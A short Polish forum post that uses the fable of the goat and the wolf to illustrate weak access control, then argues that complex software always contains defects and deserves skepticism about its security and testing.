Pełna najlepszych chęci koza próbowała chronić swoje dzieci, posługując się strategią kontroli dostępu: nie wpuszczaj do domu nikogo, kto nie ma miłego głosu i białych łap. Metoda ta jest dość skuteczna, gdyż bazuje na weryfikacji fizycznych cech uprawnionych użytkowników. W bajce tragicznym niedopatrzeniem była zbyt mała liczba podanych cech. Łatwo jest odróżnić kozę od wilka, jeśli widzi się całą postać, ale koźlętom kazano sprawdzić tylko kolor łap i głos.
Komputery przekazują dużo cennych informacji, które są niezmiernie łakomym kąskiem dla przestępców. Jednak ludzie pragnący zabezpieczyć swoje dane wydają się jeszcze bardziej naiwni od koźlątek, gdy starają się odróżniać uczciwego od oszusta tylko na podstawie ciągów symboli dostarczanych do systemów informatycznych.
Wytworzenie idealnego oprogramowania wciąż pozostaje marzeniem. Pomimo rygorystycznego i systematycznego testowania większość dużych programów zawiera nieusunięte defekty od chwili, w której zaczynamy je testować. Tak jak było to już wspomniane, przyczyną tego zjawiska jest złożoność kodów źródłowych. W dodatku, poza mimowolnie wprowadzonymi do programu błędami, zawierają one różnego rodzaju uproszczenia będące skutkiem kompromisu, które mogą wywołać niemożliwe do akceptacji zachowanie się systemu czy aplikacji.
Problem oszacowania bezpieczeństwa jest bardzo poważny. By mieć zaufanie do wyników, musimy wypróbować program w sytuacjach, które mogą zaistnieć w rzeczywistości.
Konstruując odpowiednie środowisko testowe (np. MSF), musimy być pewni, że przewidzieliśmy wszelkie sytuacje, które napotka program. Należy więc zawsze zachować sceptycyzm przy ocenie wiarygodności testu i w konsekwencji dokładności jego rezultatów.
Jeżeli ktoś przekonuje nas o wyjątkowej niezawodności i bezpieczeństwie pojedynczego programu, możemy mu zarzucić po prostu brak dostatecznej wiedzy. W przypadku złożonych programów przykrą prawdą jest fakt ograniczonego zaufania, na które można sobie w stosunku do nich pozwolić. Sama obserwacja programu nie daje gwarancji jego poprawnego zachowania się w przyszłości.
Uwzględniając złożoność obecnego oprogramowania, pozostaje nam podchodzić do niego z dużą dawką sceptycyzmu.

« Ostatnia zmiana: Sierpień 13, 2009, wysłana przez Grzegorz Gałęzowski »